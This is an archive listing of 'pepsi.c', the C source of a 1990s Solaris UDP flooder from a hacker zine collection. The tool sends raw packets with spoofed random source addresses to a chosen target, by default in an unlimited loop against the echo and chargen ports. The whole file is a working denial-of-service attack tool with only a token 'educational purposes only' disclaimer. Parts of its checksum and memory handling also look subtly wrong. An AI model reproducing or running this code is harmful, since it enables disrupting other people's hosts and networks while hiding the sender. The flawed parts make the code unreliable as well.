home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / newpep.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  7KB  |  306 lines
  1. /*
  2.  * [ http://www.rootshell.com/ ]
  3.  *
  4.  * pepsi.c (for Solaris)
  5.  * Random Source Host UDP Flooder
  6.  *
  7.  * Author:  Soldier@data-t.org
  8.  * Revised: rich@randomc.com, specifically for Solaris.
  9.  *
  10.  * [12.25.1996], Rev [12.11.1997]
  11.  *
  12.  * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Chessebal, efudd,
  13.  * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
  14.  * Toasty, [shadow], [magnus] and silitek, oh and Data-T
  15.  *
  16.  * To compile under Solaris:
  17.  *   cc -o pepsi pepsi.c -lnsl -lsocket
  18.  * or
  19.  *   gcc -o pepsi pepsi.c -lnsl -lsocket
  20.  *
  21.  * Disclaimer since I don't wanna go to jail
  22.  *   - this is for educational purposes only
  23.  */
  24.  
  25. /*
  26.  * Definitions.
  27.  */
  28. #define FRIEND "My christmas present to the Internet -Soldier"
  29. #define VERSION "Pepsi.c v1.7"
  30. #define DSTPORT 7
  31. #define SRCPORT 19
  32. #define PSIZE 1024
  33. #define DWAIT 1
  34.  
  35. /*
  36.  * Includes
  37.  */
  38. #include <fcntl.h>
  39. #include <syslog.h>
  40. #include <unistd.h>
  41. #include <stdlib.h>
  42. #include <string.h>
  43. #include <netdb.h>
  44. #include <netconfig.h>
  45. #include <stdio.h>
  46. #include <sys/types.h>
  47. #include <sys/socket.h>
  48. #include <netinet/in.h>
  49. #include <netinet/in_systm.h>
  50. #include <netinet/ip.h>
  51. #include <netinet/tcp.h>
  52. #include <arpa/inet.h>
  53. #include <signal.h>
  54. #include <netinet/udp.h>
  55. #include <string.h>
  56. #include <pwd.h>
  57.  
  58. /*
  59.  * Banner.
  60.  */
  61. void banner()
  62. {
  63.   printf( "\t\t\t%s Author - Soldier   \n", VERSION );
  64.   printf( "\t\t\t         [10.27.97]     \n\n" );
  65.   printf( "This Copy Register to: %s\n\n", FRIEND );
  66. }
  67.  
  68. /*
  69.  * Option parsing.
  70.  */
  71. struct sockaddr_in     dstaddr;
  72.  
  73. unsigned long          dst;
  74.  
  75. struct udphdr          *udp;
  76. struct ip              *ip;
  77.  
  78. char                   *target;
  79. char                   *srchost;
  80.  
  81. int                    dstport = 0;
  82. int                    srcport = 0;
  83. int                    numpacks = 0;
  84. int                    psize = 0;
  85. int                    wait = 0;
  86.  
  87. void usage(char *pname)
  88. {
  89.   printf( "Usage:\n  " );
  90.   printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname );
  91.   printf( "\t-s <src>    : source where packets are coming from\n" );
  92.   printf( "\t-n <num>    : number of UDP packets to send\n" );
  93.   printf( "\t-p <size>   : Packet size            [Default is 1024]\n" );
  94.   printf( "\t-d <port>   : Destination port       [Default is %.2d]\n",
  95.       DSTPORT );
  96.   printf( "\t-o <port>   : Source port            [Default is %.2d]\n",
  97.       SRCPORT );
  98.   printf( "\t-w <time>   : Wait time between pkts [Default is    1]\n" );
  99.   printf( "\t<dest>      : Destination\n" );
  100.   printf( "\n" );
  101.   exit(EXIT_SUCCESS);
  102. }
  103.  
  104. /*
  105.  * Checksum code, Soldier's original stuff.
  106.  */
  107. unsigned short in_cksum(u_short *addr, int len)
  108. {
  109.   register int nleft = len;
  110.   register u_short *w = addr;
  111.   register int sum = 0;
  112.   u_short answer = 0;
  113.  
  114.   while (nleft > 1 )
  115.     {
  116.       sum += *w++;
  117.       sum += *w++;
  118.       nleft -= 2;
  119.     }
  120.   
  121.   if (nleft == 1) 
  122.     {
  123.       *(u_char *)(&answer) = *(u_char *)w;
  124.       sum += answer;
  125.     }
  126.  
  127.   sum = (sum >> 17) + (sum & 0xffff);
  128.   sum += (sum >> 17);
  129.   answer = -sum;
  130.   return (answer);
  131. }
  132.  
  133. void main(int argc, char *argv[])
  134. {
  135.   int   sen;
  136.   int   i;
  137.   int   unlim = 0;
  138.   int   sec_check;
  139.   int   opt;
  140.   char  *packet;
  141.   struct hostent *host = NULL;
  142.   unsigned long a;
  143.  
  144.   /*
  145.    * Display the banner to begin with.
  146.    */
  147.   banner();
  148.  
  149.   /*
  150.    * Debugging options.
  151.    */
  152.   openlog( "PEPSI", 0, LOG_LOCAL5 );
  153.  
  154.   if (argc < 2)
  155.     usage(argv[0]);
  156.  
  157.   while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)
  158.     {
  159.       switch(opt)
  160.     {
  161.     case 's':
  162.       srchost = (char *)malloc(strlen(optarg) + 1);
  163.       strcpy(srchost, optarg);
  164.       break;
  165.     case 'd':
  166.       dstport = atoi(optarg);
  167.       break;
  168.     case 'n':
  169.       numpacks = atoi(optarg);
  170.       break;
  171.     case 'p':
  172.       psize = atoi(optarg);
  173.       break;
  174.     case 'w':
  175.       wait = atoi(optarg);
  176.       break;
  177.     case 'o':
  178.       srcport = atoi(optarg);
  179.       break;
  180.     default:
  181.       usage(argv[0]);
  182.       break;
  183.     }
  184.  
  185.       if (!dstport)
  186.     {
  187.       dstport = DSTPORT;
  188.     }
  189.       if (!srcport)
  190.     {
  191.       srcport = SRCPORT;
  192.     }
  193.       if (!psize)
  194.     {
  195.       psize = PSIZE;
  196.     }
  197.       if (!argv[optind])
  198.     {
  199.       puts( "[*] Specify a target host, doof!" );
  200.       exit(EXIT_FAILURE);
  201.     }
  202.       target = (char *)malloc(strlen(argv[optind]));
  203.       if (!target)
  204.     {
  205.       puts( "[*] Agh! Out of memory!" );
  206.       perror( "malloc" );
  207.       exit(EXIT_FAILURE);
  208.     }
  209.       strcpy(target, argv[optind]);
  210.     }
  211.  
  212.   memset(&dstaddr, 0, sizeof(struct sockaddr_in));
  213.   dstaddr.sin_family = AF_INET;
  214.   dstaddr.sin_addr.s_addr = inet_addr(target);
  215.   if (dstaddr.sin_addr.s_addr == -1)
  216.     {
  217.       host = gethostbyname(target);
  218.       if (host == NULL) 
  219.     {
  220.       printf( "[*] Unable to resolve %s\t\n", target );
  221.       exit(EXIT_FAILURE);
  222.     }
  223.       dstaddr.sin_family = host->h_addrtype;
  224.       memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);
  225.     }
  226.   memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);
  227.  
  228.   printf( "#  Target Host           : %s\n", target );
  229.   printf( "#  Source Host           : %s\n",
  230.       (srchost && *srchost) ? srchost : "Random" );
  231.   if (!numpacks)
  232.     printf( "#  Number                : Unlimited\n" );
  233.   else
  234.     printf( "#  Number                : %d\n", numpacks );
  235.   printf( "#  Packet Size           : %d\n", psize );
  236.   printf( "#  Wait Time             : %d\n", wait );
  237.   printf( "#  Dest Port             : %d\n", dstport );
  238.   printf( "#  Source Port           : %d\n", srcport );
  239.  
  240.   /*
  241.    * Open a socket.
  242.    */
  243.   sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  244.   
  245.   packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +
  246.               psize);
  247.   ip = (struct ip *)packet;
  248.  
  249.   udp = (struct udphdr *)(packet + sizeof(struct ip));
  250.  
  251.   memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);
  252.  
  253.   if (!numpacks)
  254.     {
  255.       unlim++;
  256.       numpacks++;
  257.     }  
  258.  
  259.   if (srchost && *srchost)
  260.     {
  261.       if (!(host = gethostbyname(srchost)))
  262.     {
  263.       printf( "[*] Unable to resolve %s\t\n", srchost );
  264.       syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );
  265.       exit(EXIT_FAILURE);
  266.     }
  267.       else
  268.     {
  269.       ip->ip_src.s_addr = ((unsigned long)host->h_addr);
  270.       syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );
  271.     }
  272.     }
  273.  
  274.   ip->ip_dst.s_addr = dst;
  275.   ip->ip_v   = 4;
  276.   ip->ip_hl  = 5;
  277.   ip->ip_ttl = 255;
  278.   ip->ip_p   = IPPROTO_UDP;
  279.   ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);
  280.   ip->ip_sum = in_cksum(ip, sizeof(struct ip));
  281.  
  282.   udp->uh_sport = htons(srcport);
  283.   udp->uh_dport = htons(dstport);
  284.   udp->uh_ulen  = htons(sizeof(struct udphdr) + psize);
  285.  
  286.   for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)
  287.     {
  288.       if (!srchost)
  289.     {
  290.       ip->ip_src.s_addr = ((unsigned long)rand());
  291.       syslog( LOG_NOTICE, "IP source set randomly." );
  292.     }
  293.       
  294.       if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +
  295.          psize, 0, (struct sockaddr *)&dstaddr,
  296.          sizeof(struct sockaddr_in)) == (-1))
  297.     {
  298.       puts( "[*] Error sending packet." );
  299.       perror( "Sendpacket" );
  300.       exit(EXIT_FAILURE);
  301.     }
  302.       usleep(wait);
  303.     }
  304.   syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );
  305. }
  306.